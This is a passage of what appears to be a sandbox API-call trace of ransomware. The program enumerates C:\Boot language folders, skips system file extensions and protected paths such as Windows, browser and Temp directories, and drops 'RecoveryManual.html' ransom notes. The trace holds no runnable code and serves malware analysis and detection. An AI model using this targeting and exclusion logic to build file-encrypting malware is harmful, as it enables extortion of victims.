(psz1="ttf", psz2="dll") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="sys") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="msi") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="mui") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="inf") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="cat") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="bat") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="cmd") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="ps1") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="vbs") returned -1 [0175.870] StrCmpIW (psz1="ttf", psz2="ttf") returned 0 [0175.870] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0175.870] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="kor_boot.ttf" | out: lpString1="kor_boot.ttf") returned="kor_boot.ttf" [0175.870] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="RecoveryManual.html") returned -1 [0175.870] StrStrIW (lpFirst="kor_boot.ttf", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.870] StrCmpIW (psz1="ttf", psz2="exe") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="dll") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="sys") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="msi") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="mui") returned 1 [0175.870] StrCmpIW (psz1="ttf", psz2="inf") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="cat") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="bat") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="cmd") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="ps1") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="vbs") returned -1 [0175.871] StrCmpIW (psz1="ttf", psz2="ttf") returned 0 [0175.871] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0175.871] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="wgl4_boot.ttf" | out: lpString1="wgl4_boot.ttf") returned="wgl4_boot.ttf" [0175.871] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="RecoveryManual.html") returned 1 [0175.871] StrStrIW (lpFirst="wgl4_boot.ttf", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.871] StrCmpIW (psz1="ttf", psz2="exe") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="dll") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="sys") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="msi") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="mui") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="inf") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="cat") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="bat") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="cmd") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="ps1") returned 1 [0175.871] StrCmpIW (psz1="ttf", psz2="vbs") returned -1 [0175.871] StrCmpIW (psz1="ttf", psz2="ttf") returned 0 [0175.871] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0175.871] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.871] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0175.871] lstrcpyW (in: lpString1=0x69b8b4, lpString2="fr-FR" | out: lpString1="fr-FR") returned="fr-FR" [0175.871] lstrcatW (in: lpString1="fr-FR", lpString2="\\" | out: lpString1="fr-FR\\") returned="fr-FR\\" [0175.871] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch=":\\Windows\\") returned 0x0 [0175.871] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.871] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.871] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.871] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch=":\\WINNT") returned 0x0 [0175.871] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.872] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\fr-FR\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.872] lstrlenW (lpString="\\\\?\\c:\\Boot\\fr-FR\\") returned 18 [0175.872] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\fr-FR\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.873] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\fr-FR\\" | out: lpString1="\\\\?\\c:\\Boot\\fr-FR\\") returned="\\\\?\\c:\\Boot\\fr-FR\\" [0175.873] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.873] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.873] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.873] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.873] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.873] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.873] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.873] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.873] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.873] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.873] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\fr-FR\\" | out: lpString1="\\\\?\\c:\\Boot\\fr-FR\\") returned="\\\\?\\c:\\Boot\\fr-FR\\" [0175.873] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\fr-FR\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\fr-FR\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\fr-FR\\RecoveryManual.html" [0175.873] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\fr-FR\\RecoveryManual.html" (normalized: "c:\\boot\\fr-fr\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.874] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.874] CloseHandle (hObject=0x15c) returned 1 [0175.875] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.875] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.875] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0175.875] lstrcpyW (in: lpString1=0x69b8b4, lpString2="hu-HU" | out: lpString1="hu-HU") returned="hu-HU" [0175.875] lstrcatW (in: lpString1="hu-HU", lpString2="\\" | out: lpString1="hu-HU\\") returned="hu-HU\\" [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch=":\\Windows\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch=":\\WINNT") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.875] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.876] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.876] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.876] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.876] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\hu-HU\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.876] lstrlenW (lpString="\\\\?\\c:\\Boot\\hu-HU\\") returned 18 [0175.876] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\hu-HU\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.876] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\hu-HU\\" | out: lpString1="\\\\?\\c:\\Boot\\hu-HU\\") returned="\\\\?\\c:\\Boot\\hu-HU\\" [0175.876] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.876] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.876] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.876] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.876] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.876] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.876] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.876] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.876] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.876] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.876] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\hu-HU\\" | out: lpString1="\\\\?\\c:\\Boot\\hu-HU\\") returned="\\\\?\\c:\\Boot\\hu-HU\\" [0175.876] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\hu-HU\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\hu-HU\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\hu-HU\\RecoveryManual.html" [0175.876] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\hu-HU\\RecoveryManual.html" (normalized: "c:\\boot\\hu-hu\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.877] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.877] CloseHandle (hObject=0x15c) returned 1 [0175.878] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.878] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.878] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0175.878] lstrcpyW (in: lpString1=0x69b8b4, lpString2="it-IT" | out: lpString1="it-IT") returned="it-IT" [0175.878] lstrcatW (in: lpString1="it-IT", lpString2="\\" | out: lpString1="it-IT\\") returned="it-IT\\" [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch=":\\Windows\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch=":\\WINNT") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.878] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.879] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.879] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.879] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\it-IT\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.879] lstrlenW (lpString="\\\\?\\c:\\Boot\\it-IT\\") returned 18 [0175.879] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\it-IT\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.885] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\it-IT\\" | out: lpString1="\\\\?\\c:\\Boot\\it-IT\\") returned="\\\\?\\c:\\Boot\\it-IT\\" [0175.885] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.885] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, 